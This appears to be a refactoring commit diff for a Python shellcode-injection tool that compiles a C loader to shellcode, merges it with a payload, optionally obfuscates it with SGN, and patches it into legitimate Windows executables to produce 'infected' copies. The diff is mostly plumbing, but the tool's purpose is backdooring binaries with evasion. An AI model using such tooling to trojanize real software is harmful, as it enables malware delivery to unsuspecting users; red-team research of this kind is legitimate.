refactor: cleanup 1

app/views.py

@@ -49,7 +49,6 @@ def inject():
 
     inject_style = request.form['inject_style']
     inject_style = InjectStyle[inject_style]
-    settings.inject = True
     if inject_style == InjectStyle.ENTRY:
         settings.inject_mode = 1
     elif inject_style == InjectStyle.HIJACK:

model/exehost.py

@@ -7,6 +7,7 @@ from model.defs import *
 import peparser.pehelper as pehelper
 from peparser.superpe import SuperPe
 from peparser.misc import get_physical_address
+from model.carrier import Carrier
 
 logger = logging.getLogger("ExeHost")
 
@@ -169,3 +170,12 @@ class ExeHost():
             gap_start -= 1
 
         return max_gap - 1, gap_start, gap_end
+    
+    def has_all_carrier_functions(self, carrier: Carrier):
+            is_ok = True
+            for iat_entry in carrier.iat_requests:
+                addr = self.get_vaddr_of_iatentry(iat_entry.name)
+                if addr == 0:
+                    logging.info("---( Function not available as import: {}".format(iat_entry.name))
+                    is_ok = False
+            return is_ok

model/settings.py

@@ -14,7 +14,6 @@ class Settings():
         self.short_call_patching: bool = False
 
         # Injectable
-        self.inject: bool = False
         self.inject_mode: int = 2
         self.inject_exe_in: FilePath = ""
         self.inject_exe_out: FilePath = ""
@@ -22,8 +21,6 @@ class Settings():
         # Debug
         self.show_command_output = False
         self.verify: bool = False
-        self.try_start_loader_shellcode: bool = False
-        self.try_start_final_shellcode: bool = False
         self.try_start_final_infected_exe: bool = False
         self.cleanup_files_on_start: bool = True
         self.cleanup_files_on_exit: bool = True

peparser/pehelper.py

@@ -10,6 +10,41 @@ from model.defs import *
 logger = logging.getLogger("PEHelper")
 
 
+# PEHelper
+# Work directly on PE files. Not using mype or other abstractions.
+# Its mostly used for verification of what we were doing. 
+
+
+def extract_code_from_exe_file_ep(exe_file: FilePath, len: int) -> bytes:
+    pe = pefile.PE(exe_file)
+    section = get_code_section(pe)
+    data: bytes = section.get_data()
+    data = remove_trailing_null_bytes(data)
+
+    ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint
+    ep_raw = get_physical_address(pe, ep)
+
+    data = data[ep_raw:ep_raw+len]
+
+    pe.close()
+
+    return data
+
+
+def get_physical_address(pe, virtual_address):
+    # Iterate through the section headers to find which section contains the VA
+    for section in pe.sections:
+        # Check if the VA is within the range of this section
+        if section.VirtualAddress <= virtual_address < section.VirtualAddress + section.Misc_VirtualSize:
+            # Calculate the difference between the VA and the section's virtual address
+            virtual_offset = virtual_address - section.VirtualAddress
+            # Add the difference to the section's pointer to raw data
+            return virtual_offset
+            #physical_address = section.PointerToRawData + virtual_offset
+            #return physical_address
+    return None
+
+
 def extract_code_from_exe_file(exe_file: FilePath) -> bytes:
     pe = pefile.PE(exe_file)
     section = get_code_section(pe)
@@ -30,6 +65,7 @@ def write_code_section(exe_file: FilePath, new_data: bytes):
         f.write(new_data)
     pe.close()
 
+
 def get_code_section(pe: pefile.PE) -> pefile.SectionStructure:
     entrypoint = pe.OPTIONAL_HEADER.AddressOfEntryPoint
     for sect in pe.sections:

phases/compiler.py

@@ -11,6 +11,7 @@ from model import *
 from phases.masmshc import process_file, Params
 from phases.datareuse import *
 from model.carrier import Carrier
+from model.exehost import ExeHost
 
 logger = logging.getLogger("Compiler")
 use_templates = True
@@ -21,7 +22,9 @@ def compile(
     asm_out: FilePath,
     payload_len: int,
     carrier: Carrier,
-    short_call_patching: bool = False
+    source_style: SourceStyle,
+    exe_host: ExeHost,
+    short_call_patching: bool = False,
 ):
     logger.info("--[ Compile C to ASM: {} -> {} ".format(c_in, asm_out))
 
@@ -57,23 +60,26 @@ def compile(
     # Assembly cleanup (masm_shc)
     asm_clean_file = asm_out + ".clean"
     logger.info("---[ ASM masm_shc: {} ".format(asm_out))
-    if True:
+    params = Params(asm_out, asm_clean_file, 
-        params = Params(asm_out, asm_clean_file, 
+        inline_strings=False,  # not for DATA_REUSE
-            inline_strings=False,  # not for DATA_REUSE
+        remove_crt=True, 
-            remove_crt=True, 
+        append_rsp_stub=True)  # required atm
-            append_rsp_stub=True)  # required atm
+    process_file(params)
-        process_file(params)
+
-    else:
-        run_process_checkret([
-            config.get("path_masmshc"),
-            asm_out,
-            asm_clean_file,
-        ])
     if not os.path.isfile(asm_clean_file):
         raise Exception("Error: Cleaned up ASM file {} was not created".format(
             asm_clean_file
         ))
 
+    if source_style == SourceStyle.iat_reuse:
+        logger.warning("--[ SourceStyle: Using IAT_REUSE".format())
+        fixup_iat_reuse(asm_clean_file, carrier)
+        observer.add_text("carrier_asm_updated", file_readall_text(asm_clean_file))
+
+        if not exe_host.has_all_carrier_functions(carrier):
+            logger.error("Error: Not all carrier functions are available in the target exe")
+            return
+
     # Move to destination we expect
     shutil.move(asm_clean_file, asm_out)
     if config.debug:

phases/injector.py

@@ -26,7 +26,7 @@ def inject_exe(
 #    inject_mode: int,
 #    source_style: SourceStyle
         
-    main_shc: FilePath,
+    main_shc_file: FilePath,
     settings: Settings,
     project: Project,
 ):
@@ -36,6 +36,14 @@ def inject_exe(
     inject_mode = settings.inject_mode
     source_style = settings.source_style
 
+    main_shc = file_readall_binary(main_shc_file)
+    l = len(main_shc)
+    if l + 128 > project.exe_host.code_size:
+        logger.error("Error: Shellcode {}+128 too small for target code section {}".format(
+            l, project.exe_host.code_size
+        ))
+        return False
+
     logger.info("--[ Injecting: {} into: {} -> {} (mode: {})".format(
         shellcode_in, exe_in, exe_out, inject_mode
     ))
@@ -94,7 +102,6 @@ def inject_exe(
 
 def injected_fix_iat(mype: MyPe, carrier: Carrier, exe_host: ExeHost):
     """replace IAT-placeholders in shellcode with call's to the IAT"""
-    #code = extract_code_from_exe_file(exe_out)
     code = mype.get_code_section_data()  # BUG WITHOUT PLACEHOLDR
     observer.add_code("exe_extracted_iat", code)
 
@@ -115,8 +122,6 @@ def injected_fix_iat(mype: MyPe, carrier: Carrier, exe_host: ExeHost):
         )
         code = code.replace(iatRequest.placeholder, jmp)
 
-    # write back our patched code into the exe
-    #write_code_section(exe_file=exe_out, new_data=code)
     mype.write_code_section_data(code)
 
 
@@ -141,7 +146,6 @@ def injected_fix_data(mype: MyPe, carrier: Carrier, exe_host: ExeHost):
 
     # patch code section
     # replace the placeholder with a LEA instruction to the data we written above
-    #code = extract_code_from_exe_file(exe_path)
     code = mype.get_code_section_data()
     print("Type of code: ", type(code)) 
     for datareuse_fixup in reusedata_fixups:
@@ -159,9 +163,6 @@ def injected_fix_data(mype: MyPe, carrier: Carrier, exe_host: ExeHost):
             instruction_virtual_address, destination_virtual_address, datareuse_fixup.register
         )
         code = code.replace(datareuse_fixup.randbytes, lea)
-
-    # write back our patched code into the exe
-    #write_code_section(exe_file=exe_path, new_data=code)
     mype.write_code_section_data(code)
 
 

supermega.py

@@ -14,7 +14,7 @@ import phases.compiler
 import phases.assembler
 import phases.injector
 from observer import observer
-from peparser.pehelper import extract_code_from_exe_file
+from peparser.pehelper import extract_code_from_exe_file_ep
 
 from model.project import Project
 from model.settings import Settings
@@ -55,22 +55,18 @@ def main():
         settings.verify = True
 
         settings.try_start_final_infected_exe = False
-        settings.try_start_final_shellcode = False
 
         if args.verify == "peb":
             settings.source_style = SourceStyle.peb_walk
-            settings.inject = True
             settings.inject_mode = 2
             settings.inject_exe_in = "exes/7z.exe"
             settings.inject_exe_out = "out/7z-verify.exe"
         elif args.verify == "iat":
             settings.source_style = SourceStyle.iat_reuse
-            settings.inject = True
             settings.inject_mode = 2
             settings.inject_exe_in = "exes/procexp64.exe"
             settings.inject_exe_out = "out/procexp64-verify.exe"
         elif args.verify == "rwx":
-            settings.inject = True
             settings.source_style = SourceStyle.peb_walk
             settings.inject_mode = 1  # ,2 is broken atm
             settings.inject_exe_in = "exes/wifiinfoview.exe"
@@ -81,9 +77,6 @@ def main():
 
     else:
         settings.try_start_final_infected_exe = args.start_injected
-        settings.try_start_final_shellcode = args.start_final_shellcode
-        settings.try_start_loader_shellcode = args.start_loader_shellcode
-
         settings.cleanup_files_on_start = not args.no_clean_at_start
         settings.cleanup_files_on_exit =not args.no_clean_at_exit
 
@@ -131,36 +124,24 @@ def main():
             if not os.path.isfile(args.inject):
                 logger.info("Could not find: {}".format(args.inject))
                 return
-            settings.inject = True
             settings.inject_exe_in = args.inject
             settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe")
 
     start(settings)
 
-def get_physical_address(pe, virtual_address):
-    # Iterate through the section headers to find which section contains the VA
-    for section in pe.sections:
-        # Check if the VA is within the range of this section
-        if section.VirtualAddress <= virtual_address < section.VirtualAddress + section.Misc_VirtualSize:
-            # Calculate the difference between the VA and the section's virtual address
-            virtual_offset = virtual_address - section.VirtualAddress
-            # Add the difference to the section's pointer to raw data
-            return virtual_offset
-            #physical_address = section.PointerToRawData + virtual_offset
-            #return physical_address
-    return None
 
 def start(settings: Settings):
     # Delete: all old files
     if settings.cleanup_files_on_start:
         clean_files()
         delete_all_files_in_directory("logs/")
+    exit_code = 0  # 0 = success
 
     # Load our input
     project = Project(settings)
     project.init()
 
-    # Copy: IAT_REUSE loader C files into working directory: build/
+    # Create: Carrier C source files from template (C->C)
     phases.templater.create_c_from_template(
         source_style = settings.source_style,
         alloc_style  = settings.alloc_style,
@@ -168,36 +149,26 @@ def start(settings: Settings):
         decoder_style= settings.decoder_style,
         payload_len  = project.payload.len,
     )
-    # Compile: IAT_REUSE loader C -> ASM
+
+    # Compile: Carrier to .asm (C -> ASM)
     if settings.generate_asm_from_c:
         phases.compiler.compile(
             c_in = main_c_file, 
             asm_out = main_asm_file, 
             payload_len = project.payload.len,
             carrier = project.carrier,
+            source_style = project.settings.source_style,
+            exe_host = project.exe_host,
             short_call_patching = project.settings.short_call_patching)
 
-    if settings.source_style == SourceStyle.iat_reuse:
+    # Assemble: Assemble .asm to .shc (ASM -> SHC)
-        logger.warning("--[ SourceStyle: Using IAT_REUSE".format())
-        phases.compiler.fixup_iat_reuse(main_asm_file, project.carrier)
-        observer.add_text("carrier_asm_updated", file_readall_text(main_asm_file))
-
-        if not exehost_has_all_carrier_functions(project.carrier, project.exe_host):
-            logger.error("Error: Not all carrier functions are available in the target exe")
-            return
-
-    # Assemble: ASM -> Shellcode
     if settings.generate_shc_from_asm:
         phases.assembler.asm_to_shellcode(
             asm_in = main_asm_file, 
             build_exe = main_exe_file, 
             shellcode_out = main_shc_file)
     
-    # Try: Starting the loader-shellcode (rarely useful)
+    # Merge: shellcode/loader with payload (SHC + PAYLOAD -> SHC)
-    if settings.try_start_loader_shellcode:
-        try_start_shellcode(main_shc_file)
-
-    # Merge: shellcode/loader with payload
     if settings.dataref_style == DataRefStyle.APPEND:
         phases.assembler.merge_loader_payload(
             shellcode_in = main_shc_file,
@@ -205,20 +176,7 @@ def start(settings: Settings):
             payload_data = project.payload.payload_data, 
             decoder_style = settings.decoder_style)
 
-        if settings.verify and settings.source_style == SourceStyle.peb_walk:
+    # RWX Injection (optional): obfuscate loader+payload
-            logger.info("--[ Verify final shellcode")
-            if not verify_shellcode(main_shc_file):
-                logger.info("Could not verify, still continuing")
-                #return
-
-        if settings.try_start_final_shellcode:
-            logger.info("--[ Test Append shellcode")
-            try_start_shellcode(main_shc_file)
-
-        # copy it to out
-        shutil.copyfile(main_shc_file, os.path.join("out/", os.path.basename(main_shc_file)))
-
-    # RWX Injection
     if project.exe_host.rwx_section != None:
         logger.info("--[ RWX section {} found. Will obfuscate loader+payload and inject into it".format(
             project.exe_host.rwx_section.Name.decode().rstrip('\x00')
@@ -228,47 +186,18 @@ def start(settings: Settings):
         shutil.move(main_shc_file + ".sgn", main_shc_file)
 
     # inject merged loader into an exe
-    exit_code = 0
+    phases.injector.inject_exe(main_shc_file, settings, project)
-    if settings.inject:
+    observer.add_code("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300))
-        main_shc = file_readall_binary(main_shc_file)
-        l = len(main_shc)
-        if l + 128 > project.exe_host.code_size:
-            logger.error("Error: Shellcode {}+128 too small for target code section {}".format(
-                l, project.exe_host.code_size
-            ))
-            return
 
-        phases.injector.inject_exe(main_shc, settings, project)
+    # Start/verify it at the end
-        #if settings.source_style == SourceStyle.iat_reuse:
+    if settings.verify:
-        #    phases.injector.injected_fix_iat(
+        logger.info("--[ Verify infected exe")
-        #        settings.inject_exe_out, project.carrier, project.exe_host)
+        exit_code = phases.injector.verify_injected_exe(settings.inject_exe_out)
-            # TODO IF?
+    elif settings.try_start_final_infected_exe:
-            #phases.injector.injected_fix_data(
+        logger.info("--[ Start infected exe: {}".format(settings.inject_exe_out))
-            #    settings.inject_exe_out, 
+        run_process_checkret([
-            #    project.carrier,
+            settings.inject_exe_out,
-            #    project.exe_host)
+        ], check=False)
-            
-        # Just print, to verify
-        code = extract_code_from_exe_file(settings.inject_exe_out)
-        pe = pefile.PE(settings.inject_exe_out)
-        ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint
-        ep_raw = get_physical_address(pe, ep)
-        pe.close()
-        #print("Raw: {} / 0x{:x}".format(
-        #    ep_raw, ep_raw))
-        observer.add_code("exe_final", 
-            code[ep_raw:ep_raw+300])
-            
-
-        if settings.verify:
-            logger.info("--[ Verify infected exe")
-            exit_code = phases.injector.verify_injected_exe(settings.inject_exe_out)
-
-        elif settings.try_start_final_infected_exe:
-            logger.info("--[ Start infected exe: {}".format(settings.inject_exe_out))
-            run_process_checkret([
-                settings.inject_exe_out,
-            ], check=False)
 
     # Cleanup files
     if settings.cleanup_files_on_exit:
@@ -278,16 +207,6 @@ def start(settings: Settings):
     exit(exit_code)
 
 
-def exehost_has_all_carrier_functions(carrier: Carrier, exe_host: ExeHost):
-        is_ok = True
-        for iat_entry in carrier.iat_requests:
-            addr = exe_host.get_vaddr_of_iatentry(iat_entry.name)
-            if addr == 0:
-                logging.info("---( Function not available as import: {}".format(iat_entry.name))
-                is_ok = False
-        return is_ok
-
-
 def obfuscate_shc_loader(file_shc_in, file_shc_out):
     logger.info("--[ Obfuscate shellcode with SGN")
     run_process_checkret([
@@ -329,7 +248,6 @@ def verify_shellcode(shc_name):
         return False
 
 
-
 if __name__ == "__main__":
     setup_logging()
     main()